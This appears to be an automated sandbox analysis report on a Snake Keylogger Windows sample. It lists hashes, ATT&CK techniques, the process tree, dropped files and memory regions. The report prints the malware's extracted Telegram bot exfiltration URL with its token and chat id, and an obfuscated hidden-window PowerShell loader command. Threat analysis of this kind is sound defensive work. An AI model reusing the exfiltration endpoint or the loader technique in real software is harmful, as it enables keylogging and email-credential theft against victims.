snakekeylogger | 4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-11-2024 02:31

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General

Target

4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
Size

685KB
MD5

2032c338e04d0b5a60eef3f7b7328891
SHA1

352126118e6c6ce3c595c6ac589a70b96cdcc322
SHA256

4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f
SHA512

7aea68700ce219007212c465be4dd752e04f16584cfdfdcb0bf56f99b357f731934e00ae0efc5c5dab29ad5a5735e280ac37a0c425c2a78009875195aacb2696
SSDEEP

12288:G0mnA1zA7zDwONNpP0cldbpH3RfKNmucxdiUWIJiGar9t3DSDb4N5:uA1zALdNpPRllR3NUmuq016Bg3ewH

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/2748-66-0x0000000000C20000-0x0000000000C46000-memory.dmp	family_snakekeylogger
behavioral2/memory/2748-65-0x0000000000C20000-0x0000000001E74000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3384	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
18	2748	msiexec.exe
24	2748	msiexec.exe
29	2748	msiexec.exe
40	2748	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2748	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3384	powershell.exe
2748	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
2748	msiexec.exe
2748	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3384	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeIncreaseQuotaPrivilege	3384	powershell.exe
Token: SeSecurityPrivilege	3384	powershell.exe
Token: SeTakeOwnershipPrivilege	3384	powershell.exe
Token: SeLoadDriverPrivilege	3384	powershell.exe
Token: SeSystemProfilePrivilege	3384	powershell.exe
Token: SeSystemtimePrivilege	3384	powershell.exe
Token: SeProfSingleProcessPrivilege	3384	powershell.exe
Token: SeIncBasePriorityPrivilege	3384	powershell.exe
Token: SeCreatePagefilePrivilege	3384	powershell.exe
Token: SeBackupPrivilege	3384	powershell.exe
Token: SeRestorePrivilege	3384	powershell.exe
Token: SeShutdownPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeSystemEnvironmentPrivilege	3384	powershell.exe
Token: SeRemoteShutdownPrivilege	3384	powershell.exe
Token: SeUndockPrivilege	3384	powershell.exe
Token: SeManageVolumePrivilege	3384	powershell.exe
Token: 33	3384	powershell.exe
Token: 34	3384	powershell.exe
Token: 35	3384	powershell.exe
Token: 36	3384	powershell.exe
Token: SeDebugPrivilege	2748	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 3384	3020	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	84
PID 3020 wrote to memory of 3384	3020	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	84
PID 3020 wrote to memory of 3384	3020	4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe	84
PID 3384 wrote to memory of 2748	3384	powershell.exe	97
PID 3384 wrote to memory of 2748	3384	powershell.exe	97
PID 3384 wrote to memory of 2748	3384	powershell.exe	97
PID 3384 wrote to memory of 2748	3384	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe
"C:\Users\Admin\AppData\Local\Temp\4dd290b26a372dbce70e2804f4cb514d8d2ad621d6844acb9933d72efdcb893f.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Fragmentary=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Formaalsbestemmelsens\Omraadenummers.Ter';$Spaniolens=$Fragmentary.SubString(53801,3);.$Spaniolens($Fragmentary)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3384
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Formaalsbestemmelsens\Leafmold.Hor

Filesize
329KB

MD5
35eb2a7e04f8669bc2a522e167e68a20

SHA1
fdc865ea7f484cef5cbbc3fcdc9e2d2b01d8ce7d

SHA256
20d8da06af2039c3c22a0743d60768300fd7d594d4fd2f94b8dc6d4d3fba316b

SHA512
882d4df658d2629ea477dbfb0dffaf40959952972433d0f466cb3737310ae811c20043f8683f556a228e4e4cdf22b2a162fe6cd3611a02990b33de20e0d0b0d8

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Formaalsbestemmelsens\Omraadenummers.Ter

Filesize
52KB

MD5
d6f8f522a812d7fe69126e347b3d9ca2

SHA1
3b2f8aa331cb4b435dd736b9ae1ed8ee6a5f1a28

SHA256
224fc25fabc123f64dcd7b8343ccdcf3398b0735c9c4604c6cdc6e2f4e270721

SHA512
7ec46b8c274c1a86e04ec72fb34c6081a5f47c6e1ddb5aeb2a69ea3fd70b7ee01c69842310bc11a84f6d1abb4cda1b13c0fdd4c9a47fda09ca7d819f2c6e278c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztpwi1ww.xzf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2748-74-0x0000000023F40000-0x0000000023F4A000-memory.dmp

Filesize
40KB

Download
memory/2748-73-0x0000000023FE0000-0x0000000024072000-memory.dmp

Filesize
584KB

Download
memory/2748-70-0x0000000024110000-0x00000000242D2000-memory.dmp

Filesize
1.8MB

Download
memory/2748-69-0x0000000023EF0000-0x0000000023F40000-memory.dmp

Filesize
320KB

Download
memory/2748-67-0x0000000023240000-0x00000000232DC000-memory.dmp

Filesize
624KB

Download
memory/2748-65-0x0000000000C20000-0x0000000001E74000-memory.dmp

Filesize
18.3MB

Download
memory/2748-66-0x0000000000C20000-0x0000000000C46000-memory.dmp

Filesize
152KB

Download
memory/3384-33-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-53-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-27-0x0000000006810000-0x0000000006832000-memory.dmp

Filesize
136KB

Download
memory/3384-25-0x0000000007260000-0x00000000072F6000-memory.dmp

Filesize
600KB

Download
memory/3384-28-0x0000000007AF0000-0x0000000008094000-memory.dmp

Filesize
5.6MB

Download
memory/3384-23-0x0000000006290000-0x00000000062AE000-memory.dmp

Filesize
120KB

Download
memory/3384-30-0x0000000008720000-0x0000000008D9A000-memory.dmp

Filesize
6.5MB

Download
memory/3384-31-0x00000000076E0000-0x0000000007712000-memory.dmp

Filesize
200KB

Download
memory/3384-32-0x000000006FF30000-0x000000006FF7C000-memory.dmp

Filesize
304KB

Download
memory/3384-34-0x00000000706B0000-0x0000000070A04000-memory.dmp

Filesize
3.3MB

Download
memory/3384-44-0x0000000007720000-0x000000000773E000-memory.dmp

Filesize
120KB

Download
memory/3384-45-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-6-0x0000000073AAE000-0x0000000073AAF000-memory.dmp

Filesize
4KB

Download
memory/3384-46-0x0000000007750000-0x00000000077F3000-memory.dmp

Filesize
652KB

Download
memory/3384-47-0x0000000007850000-0x000000000785A000-memory.dmp

Filesize
40KB

Download
memory/3384-48-0x00000000079D0000-0x00000000079FA000-memory.dmp

Filesize
168KB

Download
memory/3384-49-0x0000000007A00000-0x0000000007A24000-memory.dmp

Filesize
144KB

Download
memory/3384-50-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-52-0x0000000073AAE000-0x0000000073AAF000-memory.dmp

Filesize
4KB

Download
memory/3384-26-0x00000000067C0000-0x00000000067DA000-memory.dmp

Filesize
104KB

Download
memory/3384-54-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-24-0x0000000006340000-0x000000000638C000-memory.dmp

Filesize
304KB

Download
memory/3384-56-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-57-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-58-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-59-0x0000000008DA0000-0x000000000C41F000-memory.dmp

Filesize
54.5MB

Download
memory/3384-60-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-61-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-62-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-64-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-22-0x0000000005CA0000-0x0000000005FF4000-memory.dmp

Filesize
3.3MB

Download
memory/3384-12-0x0000000005C30000-0x0000000005C96000-memory.dmp

Filesize
408KB

Download
memory/3384-11-0x0000000005BC0000-0x0000000005C26000-memory.dmp

Filesize
408KB

Download
memory/3384-10-0x00000000052F0000-0x0000000005312000-memory.dmp

Filesize
136KB

Download
memory/3384-9-0x0000000005490000-0x0000000005AB8000-memory.dmp

Filesize
6.2MB

Download
memory/3384-8-0x0000000073AA0000-0x0000000074250000-memory.dmp

Filesize
7.7MB

Download
memory/3384-7-0x0000000004DD0000-0x0000000004E06000-memory.dmp

Filesize
216KB

Download